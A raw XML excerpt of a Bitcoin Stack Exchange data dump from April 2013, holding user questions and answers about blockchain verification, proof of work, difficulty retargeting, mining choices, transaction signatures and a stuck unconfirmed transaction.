  <row Id="9291" PostTypeId="1" CreationDate="2013-04-07T12:46:33.547" Score="3" ViewCount="379" Body="&lt;p&gt;I'm truly lost about how bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand a blockchain contains all transactions ever made. So, what things need to be verified while I'm downloading the whole blockchain? If it's just the hash of each block, the processing/verification speed of earlier blocks should be same as later blocks, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only better guess I have, is that if anything need to be indexed, then that would explain why later blocks are slower. So is this the case?&lt;/p&gt;&#xA;" OwnerUserId="4027" LastEditorUserId="2306" LastEditDate="2013-04-07T16:59:45.297" LastActivityDate="2013-04-07T17:43:59.910" Title="Why verifying later blockchain is slower?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostTypeId="2" ParentId="9291" CreationDate="2013-04-07T12:53:39.130" Score="4" Body="&lt;p&gt;Earlier blocks had fewer transactions, and so were smaller. Later blocks have many transactions, and so are much larger.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2013-04-07T12:53:39.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostTypeId="1" AcceptedAnswerId="9322" CreationDate="2013-04-07T12:58:59.987" Score="5" ViewCount="1258" Body="&lt;p&gt;I'm trying really hard to understand how bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that bitcoin miners does proof of work, and creates blocks, and then transactions are sealed inside this block to become &quot;confirmed&quot;. And this has something to do with double spending.. somehow..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;strong&gt;my questions&lt;/strong&gt; is, why cant we do a similar decentralized network, without proof of work/blockchain? In this network, we just keep a &lt;code&gt;list of all transactions&lt;/code&gt; (akin to blockchain) (a copy for each node), and then use majority rule. Ie, if there is a dispute in the new transaction, we just go to every node, check their &lt;code&gt;list of all transactions&lt;/code&gt;, and if the new transaction contradicts majority of list of all transactions, then the new transaction will be rejected etc. And nobody need to solve any hard math problems (ie proof of work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for new transactions, our protocol can be following: If nobody disputes the transaction over the next 60minutes, then we set confirmed flag of this transaction to be 1, and thus this transaction is now confirmed etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, im struggling to understand the value of proof-of-work process in bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="4027" LastEditorUserId="4027" LastEditDate="2013-04-07T13:15:14.203" LastActivityDate="2016-11-22T21:03:51.010" Title="Why is blockchain necessary?" Tags="|blockchain|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="2" ParentId="4092" CreationDate="2013-04-07T13:22:03.987" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://www.yokucloud.com&quot; rel=&quot;nofollow&quot;&gt;http://www.yokucloud.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YOKU Cloud is a bitcoin supported hosting provider. &lt;/p&gt;&#xA;" OwnerUserId="4029" LastActivityDate="2013-04-07T13:22:03.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="1" CreationDate="2013-04-07T14:09:48.643" Score="5" ViewCount="647" Body="&lt;p&gt;Say I want to save ten bitcoins could I send them to myself and just not 'pick them up' with my client? In a way would I be storing the bitcoins in the blockchain and when I want them just start up the client? Or would it be possible for someone else to 'pick them up'? Or are the private keys already in the wallet file as soon as the payment is 'sent'?&lt;/p&gt;&#xA;" OwnerUserId="4030" LastEditorUserId="44" LastEditDate="2013-04-21T09:38:25.023" LastActivityDate="2013-04-21T21:52:27.510" Title="What happens if I don't &quot;pick up&quot; bitcoins with a Bitcoin client?" Tags="|blockchain|private-key|storage|" AnswerCount="5" CommentCount="1" ClosedDate="2013-04-29T21:00:48.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="1" AcceptedAnswerId="9304" CreationDate="2013-04-07T14:27:58.417" Score="1" ViewCount="913" Body="&lt;p&gt;Seems like namecoind doesn't support the &lt;code&gt;dumpprivkey&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2013-04-07T16:52:02.997" Title="How do I extract the private keys from my namecoind wallet?" Tags="|private-key|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9298" PostTypeId="2" ParentId="9296" CreationDate="2013-04-07T14:35:23.413" Score="8" Body="&lt;p&gt;Everything is already stored in the blockchain, and there is nothing to &quot;pick up&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain stores: &quot;A generate a block (25 btc now)&quot; and &quot;A sends 2 btc to B&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to send bitcoins, you proof that you are &quot;B&quot; and sign a message saying &quot;I own these coins (A-&gt;B) and want to send all of them (2 btc) to C&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &quot;C&quot; owns 2 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This of ofc simplified alot, e.g. I am missing confirms/etc but you really need to understand the basics before you start learning the advanced)&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-07T14:35:23.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9299" PostTypeId="1" CreationDate="2013-04-07T14:53:35.950" Score="1" ViewCount="11076" Body="&lt;p&gt;I have a not-so-good miner in terms of mining, like with CPU mining with LTC, it goes to 15 kHash/s which is pretty low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought nor pool mining nor solo mining will earn me much when at this speed. But what if when mining other crypto-currencies like NVC, TRC or PPC? They have a lower difficulty level and probably would yield more in solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple question is that, if I want to mine them, what should I do, solo or pooled? and Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how much time approximately will it take to mine one block of any of these at this speed?&lt;/p&gt;&#xA;" OwnerUserId="4033" LastEditorUserId="5406" LastEditDate="2016-04-28T12:52:44.827" LastActivityDate="2016-04-28T12:52:44.827" Title="Solo vs Pool mining for new crypto-currencies?" Tags="|mining-pools|litecoin|mining-profitability|solo-mining|peercoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostTypeId="1" AcceptedAnswerId="9307" CreationDate="2013-04-07T15:01:16.950" Score="5" ViewCount="1176" Body="&lt;p&gt;I'm a bit confused about the signature contained in the scriptSig of a transaction. My question is: what do we really sign? Is it the hash of the previous transaction? &lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="2306" LastEditDate="2015-02-28T03:36:56.160" LastActivityDate="2015-02-28T03:36:56.160" Title="How is the hash that is signed calculated?" Tags="|transactions|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9301" PostTypeId="1" CreationDate="2013-04-07T16:16:05.087" Score="3" ViewCount="132" Body="&lt;p&gt;See &lt;a href=&quot;https://blockchain.info/tx/968b0bd7288129dd918a95c81b46384af40a7ab35545e5e4dcfefe68e05a67a6&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can a transaction have multiple origins? Surely one transaction comes from one address?&lt;/p&gt;&#xA;" OwnerUserId="3628" LastEditorDisplayName="user2696" LastEditDate="2013-04-07T17:01:03.007" LastActivityDate="2013-04-07T17:01:03.007" Title="Transactions with multiple origins?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-14T11:07:25.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="9301" CreationDate="2013-04-07T16:30:30.707" Score="4" Body="&lt;p&gt;Transactions can 'claim' from multiple addresses. In fact, the default client will do it if your balance is spread out amongst multiple addresses when you want to make a transaction.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-07T16:30:30.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9303" PostTypeId="2" ParentId="9290" CreationDate="2013-04-07T16:45:55.203" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there really this big a difference?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU#Why_are_AMD_GPUs_faster_than_Nvidia_GPUs.3F&quot; rel=&quot;nofollow&quot;&gt;Yes.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As on many websites it says AMD is so much better for mining while because NVIDIA has Cuda everyone says its best for editing why doesn't cuda drive up Mhash/s?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;CUDA's a software framework for making GPU-based software eaiser to write. More stuff supports NVIDIA cards. Bitcoin GPU miners support both, so CUDA doesn't matter.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-07T16:45:55.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9304" PostTypeId="2" ParentId="9297" CreationDate="2013-04-07T16:52:02.997" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or pywallet (link on the site above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the only ways I know. Not really comfortable. Also it is probably not possible while namecoind is running.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-04-07T16:52:02.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9305" PostTypeId="1" AcceptedAnswerId="9308" CreationDate="2013-04-07T17:24:27.883" Score="14" ViewCount="3870" Body="&lt;p&gt;Should make things smoother and result in less oscillation. Is there a reason why retargetting is only every 2016 blocks?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2019-04-10T16:05:46.203" LastActivityDate="2019-04-10T16:05:46.203" Title="Why not retarget on every block?" Tags="|difficulty-retargetting|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="2" ParentId="9291" CreationDate="2013-04-07T17:43:59.910" Score="0" Body="&lt;p&gt;The hash verifies that it's part of the chain but it doesn't verify that it's legal.  For example, it might contain fake transactions that invent money and send it to people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well-behaved software needs to check this, too.  I think that the download time is what dominates the slowness, not checking the transactions.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-07T17:43:59.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9307" PostTypeId="2" ParentId="9300" CreationDate="2013-04-07T18:15:38.580" Score="6" Body="&lt;p&gt;scriptSig contians a signature of the concantenation* of the previous transaction's script and the new transaction.  It has to be both because if it were a signature of just the previous transaction, someone could swap the output address in the new transaction and relay the transaction sending the coins to himself!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptSig also contains the public key to verify the signature because the previous transaction only has the hash of the public key.  The hash of a public key is an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot;&gt;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* Not really concatenated, it's inserted in the middle.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-07T18:15:38.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9308" PostTypeId="2" ParentId="9305" CreationDate="2013-04-07T18:56:17.050" Score="12" Body="&lt;p&gt;I suppose the only right answer is &quot;because that's how Satoshi implemented it&quot;. His reasons for doing may have included easy of implementation, easy to guarantee consistency among nodes, or little worry about instability of correction algorithms.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-07T18:56:17.050" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9309" PostTypeId="2" ParentId="9305" CreationDate="2013-04-07T19:02:14.237" Score="2" Body="&lt;p&gt;Retargeting on every block would result in ridiculous oscillation in the difficulty level when there's a hot streak and several blocks are found in short succession or a cold streak where a block isn't found for a long period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why it's 2016, at an average rate of 1 block per 10 minutes, it readjusts fortnightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why 10 minutes was picked is unknown, AFAICT.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-04-07T19:02:14.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="2" ParentId="9282" CreationDate="2013-04-07T19:07:35.027" Score="1" Body="&lt;p&gt;Yes, those coins would be lost.  It would be as if you buried a chest of gold out in the middle of nowhere and died without telling anyone about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it is possible (though mindbendingly unlikely.  Even if bitcoin keeps existing until the heat death of the universe, it will almost certainly never happen.) for someone to randomly recreate the keypair for those coins and thus take possession of them.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-04-07T19:07:35.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9311" PostTypeId="2" ParentId="9305" CreationDate="2013-04-07T19:17:56.813" Score="1" Body="&lt;p&gt;Retargetting every block based on the time from the last found block would result in a ridiculous oscillation - as compro01 writes. But if the target is based on the time for the last 2016 blocks, but evaluated every block, this would be a sliding window and I don't see why it wouldn't work. But most likely it is difficult to have consensus this way which doesn't result in a chain fork, as every node has to have the same opinion.  &lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2013-04-07T19:17:56.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="2" ParentId="9299" CreationDate="2013-04-07T19:20:37.570" Score="1" Body="&lt;p&gt;Yielding literally &quot;more&quot; units of one currency compared with another isn't necessarily a good thing. Would you rather have &lt;a href=&quot;https://www.google.co.nz/search?q=5%20us%20dollars%20to%20japanese%20yen&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&amp;amp;channel=fflb&quot; rel=&quot;nofollow noreferrer&quot;&gt;5 Japanese Yen or 5 US dollars&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The choice between mining solo or pooled is mainly one of variance; would you rather take a chance on trying to solve a block yourself, trying for a full block reward, or would you rather earn an amount roughly proportional to the work done (and probably pay a small fee for the privilege)? Unless you have a large amount of mining capacity, you may end up with nothing if you mine solo. Most people choose to pool mine for that reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find &lt;a href=&quot;https://bitcoin.stackexchange.com/q/594/516&quot;&gt;this question&lt;/a&gt; of interest, discussing solo mining vs pooled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to time to solve a block, that's a completely different question, but &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4219/516&quot;&gt;this might help you&lt;/a&gt;. It will differ depending on the currency you choose (difficulty and perhaps hashpower will be different for each).&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-07T19:20:37.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="1" AcceptedAnswerId="9318" CreationDate="2013-04-07T19:30:42.153" Score="0" ViewCount="877" Body="&lt;p&gt;I understand that bitcoins are currently produced at ~25BTC/10 min&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly how fast a block is created is what determines how fast bitcoins are created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everyone starts using bitcoins it will create huge demand and price will rise if miners can't keep up with the adoption rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a new technology appears (assume accessible to everyone so the problem of attacks on the network by trying to create a longer block isn't there) this will lead to a huge supply of bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand the dynamics of these two factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a self regulating way where a sudden huge increase in the ability to solve for the block and how fast would this be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would a huge demand be also somehow self regulating or will it just spike the price?&lt;/p&gt;&#xA;" OwnerUserId="4038" LastEditorUserId="5406" LastEditDate="2016-04-28T13:57:39.683" LastActivityDate="2016-04-28T13:57:39.683" Title="What happens if everyone suddenly adops bitcoins, or it becomes very easy to create blocks" Tags="|difficulty|mining-reward|economic-theory|money-supply|adoption|" AnswerCount="1" CommentCount="3" ClosedDate="2013-04-21T20:12:28.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="9314" PostTypeId="1" AcceptedAnswerId="9315" CreationDate="2013-04-07T19:36:37.743" Score="4" ViewCount="274" Body="&lt;p&gt;Suppose I have 2 wallets and 1 bitcoin and I write a program to make transfers of 1 satoshi from one wallet into the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suppose I have 100 bitcoins. Wouldn't that saturate the network?&lt;/p&gt;&#xA;" OwnerUserId="4019" LastEditorUserId="4019" LastEditDate="2017-01-02T19:40:18.827" LastActivityDate="2017-01-02T19:40:18.827" Title="Can someone saturate the network?" Tags="|transactions|blockchain|network|attack|scalability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostTypeId="2" ParentId="9314" CreationDate="2013-04-07T19:49:07.107" Score="6" Body="&lt;p&gt;Your transactions would be given the lowest priority as they are not paying fees, also if anyone is actually marginally successful in spamming the system it is entirely possible that the larger pools will simply not take their transactions, in fact some pools do filter out some transactions. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=151387.0&quot;&gt;This thread&lt;/a&gt; shows some of the restrictions that some mining pools already have.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-04-07T19:49:07.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="2" ParentId="9269" CreationDate="2013-04-07T20:00:35.637" Score="1" Body="&lt;p&gt;Get the private key of your address, then go to brainwallet.org, and switch the tab to Generator-&gt;Private Key, then paste in your private key. Your address should show up on the right. If it doesn't try switching it to Compressed. Your public key (in hex) will be the thing marked Public Key (SEC).&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-07T20:00:35.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="2" ParentId="9313" CreationDate="2013-04-07T21:28:47.107" Score="1" Body="&lt;p&gt;Increased demand would raise both the price for bitcoins as such, and also increase the fees rewarded to miners. So the effect would be an increased investment in mining efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technology advances would increase the networks total Hash/s rate. Which first of all would lead the network to rebalance and demand more hashes/BTC, thus keeping the output constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dynamic aspect I find interesting though, is that until all miners have upgraded their relative contribution to the network would shrink, and thus their individual share of the return. They would therefore be force to choose either to quit mining (operating costs would be higher than the return) or invest in new hardware. Which in effect would lead to a pruning of miners and a reconfiguration of relative performance among the remaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if the economy can sustain a long tail of miners or if the major players will use such transitions to invest in enough hardware to raise the barrier to entry beyond the tail miners returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to see a simulation on &lt;a href=&quot;http://insightmaker.com/&quot; rel=&quot;nofollow&quot;&gt;http://insightmaker.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4039" LastActivityDate="2013-04-07T21:28:47.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="1" CreationDate="2013-04-07T21:51:24.477" Score="13" ViewCount="2482" Body="&lt;p&gt;I'm assuming that the Bitcoin economy is rapidly building a computing cluster capable of unprecedented amount of hash searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible for an attacker to leverage this to crack other systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. could an attacker input password hashes into transactions and then deduce useful information from the output of miners with regards to hose hashes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not asking about the security of Bitcoin as such, so I don't think it's a duplicate of [1] or [2]) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8456/could-mining-calculations-be-used-to-crack-private-key&quot;&gt;Could mining calculations be used to crack private key?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2847/how-long-would-it-take-a-large-computer-to-crack-a-private-key&quot;&gt;How long would it take a large computer to crack a private key?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4039" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-05-10T04:01:00.307" Title="Can the Bitcoin network be used for cracking?" Tags="|security|hash|cryptography|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostTypeId="2" ParentId="9233" CreationDate="2013-04-07T22:26:21.017" Score="1" Body="&lt;p&gt;Producing an ASIC isn't exactly free. If you think investing $1000 in one of their designs is a risky proposition. Imagine doing the same risk assessment with a few more zeros on that figure.&lt;/p&gt;&#xA;" OwnerUserId="4039" LastActivityDate="2013-04-07T22:26:21.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="2" ParentId="9293" CreationDate="2013-04-08T00:00:05.987" Score="5" Body="&lt;p&gt;I think the introduction of block has much more a security-related origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, getting transactions confirmed costs a certain amount of work for which computer have to run a long time and cost some time, effort and money. Because of this, it is hard to manipulate the chain of transactions. It is hard to find a correct block with a certain set of transactions and cheating will result in your block being refused by the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when clients just keep lots of transactions, it would be much easier to f.e. set up thousands of false nodes that manipulate the network. A node that only requires memory is much cheaper than one that requires hashpower. With some resources it's easy to add thousands to hundreds of thousands of clients (these don't have to be separate machines but can be virtual ones) participating and entering bogus transactions or leaving some out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that creating the blocks is &quot;difficult&quot; add a lot of security to the network, making it extremely hard to falsely manipulate the transaction history.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2014-02-23T02:40:27.280" LastActivityDate="2014-02-23T02:40:27.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9323" PostTypeId="2" ParentId="9320" CreationDate="2013-04-08T00:44:43.930" Score="22" Body="&lt;p&gt;Short answer: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Blocks are exactly 80 bytes long. When have you ever seen an 80 character password?&lt;/li&gt;&#xA;&lt;li&gt;Blocks start with a bunch of null bytes in the version field. Again, when have you seen that in a password?&lt;/li&gt;&#xA;&lt;li&gt;Each miner is mining a different block. You don't know the merkle root of what they're mining because that contains a hash of a secret address.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin uses SHA256(SHA256(x)) as a hash function, which is not very common in password hashing.&lt;/li&gt;&#xA;&lt;li&gt;Miners won't publish their results unless they solve a block. They only solve a block if it starts with 12 zeros (at time of writing). The odds of your hash starting with 12 zeros is 0.000000000000003034%.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-05-10T04:01:00.307" LastActivityDate="2016-05-10T04:01:00.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="2" ParentId="9320" CreationDate="2013-04-08T02:22:07.697" Score="3" Body="&lt;p&gt;The processing done by miners is a very highly specific, yet random operation. It could not be reused for a general purpose operation looking for a specific answer.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-08T02:22:07.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostTypeId="2" ParentId="9263" CreationDate="2013-04-08T04:42:44.483" Score="1" Body="&lt;p&gt;Not sure but I think those guys started working on the Ripple project instead. They are skilled JS developers and they want to do something of their own with Ripple.&lt;/p&gt;&#xA;" OwnerUserId="4051" LastActivityDate="2013-04-08T04:42:44.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="2" ParentId="722" CreationDate="2013-04-08T06:28:22.427" Score="8" Body="&lt;p&gt;On March 11th, 2013 there was an unplanned hard fork and as a result there was at least one double spend attack performed in which a large amount of funds (bitcoins worth $10K USD) were double spent.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=152348&quot;&gt;http://bitcointalk.org/index.php?topic=152348&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinmoney.com/post/47048259653&quot;&gt;http://www.bitcoinmoney.com/post/47048259653&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-08T06:28:22.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9331" PostTypeId="1" CreationDate="2013-04-08T08:32:02.093" Score="1" ViewCount="95" Body="&lt;p&gt;Looking for how many KB or MB transferred each way every second or minute, whatever is appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Macbook Pro and using GPU mining.&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="5406" LastEditDate="2016-04-24T12:48:52.043" LastActivityDate="2016-04-24T12:48:52.043" Title="BitMinter - At what data rate communication happens between the BitMinter java client and the server?" Tags="|network|gpu-mining|bandwidth|bitminter|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9332" PostTypeId="2" ParentId="4269" CreationDate="2013-04-08T08:42:30.530" Score="0" Body="&lt;p&gt;I built &lt;a href=&quot;https://fundhub.org/&quot; rel=&quot;nofollow&quot;&gt;https://fundhub.org/&lt;/a&gt; for crowdfunding software, no fees :)&lt;/p&gt;&#xA;" OwnerUserId="4057" LastActivityDate="2013-04-08T08:42:30.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9333" PostTypeId="1" AcceptedAnswerId="9346" CreationDate="2013-04-08T10:05:53.383" Score="5" ViewCount="2999" Body="&lt;p&gt;I made a transaction 2 days ago, (using BitcoinQT 0.8.1-beta on MacOS X) that didn't propagate. I can't find the transaction on blockexplorer or blockchain.info (or anywhere else for that matter) yet. The transaction just sits there in the client, unconfirmed and gobbled up my Bitcoins. The transfer required me to pay a tx fee that I gladly paid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: 0/unconfirmed&#xA;Date: 06.04.13 22:01&#xA;To: Satoshi Dice 78% 1dicec9k7KpmQaA8Uc8aCCxfWnwEWzpXE&#xA;Debit: -0.40 BTC&#xA;Transaction fee: -0.0005 BTC&#xA;Net amount: -0.4005 BTC&#xA;Transaction ID: 10cfa399f5c0a3c6a36e9678ae7c87af95f38899cfe21c7bd76caebd11a2919b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I did thus far&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I let the client sit on the network for a couple of hours, hoping for it to re-send the transaction.&lt;/li&gt;&#xA;&lt;li&gt;I found this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1161/how-to-debug-a-long-0-unconfirmed-status-in-the-bitcoin-client&quot;&gt;debug thread&lt;/a&gt; that suggested to use -rescan, which I did to no avail. &lt;/li&gt;&#xA;&lt;li&gt;Then I backed up and deleted all data except the wallet to redownload the blockchain - which also failed to change anything.&lt;/li&gt;&#xA;&lt;li&gt;I used the gui console to do a lookup and resend of the transaction using getrawtransaction / sendrawtransaction that resulted in the error below&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 10cfa399f5c0a3c6a36e9678ae7c87af95f38899cfe21c7bd76caebd11a2919b 1&#xA;No information available about transaction (code -5)&#xA;&#xA;sendrawtransaction 10cfa399f5c0a3c6a36e9678ae7c87af95f38899cfe21c7bd76caebd11a2919b&#xA;TX decode failed (code -22)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering what went wrong and what steps to take next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that similar questions have been posted before, but I think this instance is different because I feel I already exhausted the debug instructions provided in the debug thread. I apologize if I missed anything.&lt;/p&gt;&#xA;" OwnerUserId="4056" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-04-08T18:33:08.883" Title="Unconfirmed transaction for 2 days despite network fees, rescans and redownload" Tags="|transactions|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
